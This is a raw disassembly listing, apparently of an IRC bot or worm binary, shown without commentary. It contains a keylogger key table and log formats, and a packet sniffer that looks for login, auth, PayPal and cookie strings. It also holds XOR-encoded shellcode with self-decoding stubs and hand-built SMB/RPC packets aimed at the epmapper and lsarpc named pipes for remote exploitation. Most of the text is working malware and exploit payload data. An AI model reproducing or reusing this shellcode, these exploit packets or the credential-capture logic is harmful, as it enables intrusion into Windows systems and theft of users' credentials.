dword_42642C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4023A7:loc_40248Ao
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_426BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_426BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40EE72+2AE5o
		align 4
asc_426C1C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_426C68	dd offset off_4274E0	; DATA XREF: sub_402688+29Er
		dd offset off_4274DC
		dd offset off_4274D8
		dd offset aHttp		; "HTTP"
dword_426C78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_426C8C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:00426C74o
		align 4
off_4274D8	dd offset aSf@		; DATA XREF: ___:00426C70o
					; "F@"
off_4274DC	dd offset aThBySS_	; DATA XREF: ___:00426C6Co
					; "th by: (%s!%s)."
off_4274E0	dd offset word_544F42	; DATA XREF: ___:off_426C68o
unk_4274E4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_427528	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_427578	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4275C0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_427604	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_427648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DD7+E1o
					; sub_402DD7+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B84+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4279F8	dd 20h,	0		; DATA XREF: sub_402B84+136o
		dd 20h,	5C005Ch, 0
off_427A0C	dd offset off_43005C	; DATA XREF: sub_402B84+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_427A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_427A80	dd offset word_580046	; DATA XREF: sub_402B84+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_427B5C	dd 18759Fh		; DATA XREF: sub_402B84+104o
dword_427B60	dd 100139Dh		; DATA XREF: sub_402B84+FBo
asc_427B64:				; DATA XREF: sub_4029E9+1Co
					; sub_402ACC+16o
		unicode	0, <\\>,0
		align 4
off_427B6C	dd offset dword_49005C	; DATA XREF: sub_4029E9+Co
					; sub_402ACC+Bo
		dd offset off_430050
		dd 24h
unk_427B78	db    2			; DATA XREF: sub_402DD7+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
		align 8
		jmp	short loc_427BDA

; =============== S U B	R O U T	I N E =======================================



sub_427BCA	proc far		; CODE XREF: sub_427BCA:loc_427BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_427BD2:				; CODE XREF: sub_427BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_427BD2
		jmp	short loc_427BDF
; ---------------------------------------------------------------------------


loc_427BDA:				; CODE XREF: ___:00427BC8j
		call	near ptr sub_427BCA


loc_427BDF:				; CODE XREF: sub_427BCA+Ej
		jo	short loc_427C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_427C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_427C43:				; CODE XREF: sub_427BCA:loc_427BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_427C61:				; CODE XREF: sub_427BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_427BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_427D08:				; DATA XREF: sub_403249+156o
					; sub_403249+212o
		jmp	short loc_427D1A

; =============== S U B	R O U T	I N E =======================================



sub_427D0A	proc near		; CODE XREF: sub_427D0A:loc_427D1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_427D12:				; CODE XREF: sub_427D0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_427D12
		jmp	short loc_427D1F
; ---------------------------------------------------------------------------


loc_427D1A:				; CODE XREF: ___:loc_427D08j
		call	sub_427D0A


loc_427D1F:				; CODE XREF: sub_427D0A+Ej
		jo	short near ptr dword_427C98+1Eh
		cwde
		cdq
		cdq
		retn
sub_427D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_427DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403249+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040370Do
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403739o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_427FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403760o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4280B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_403249+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42811C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_428188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4282AC	dd offset loc_401493+2	; DATA XREF: sub_403249+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_428340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4283AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420	dd 0			; DATA XREF: sub_403249+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
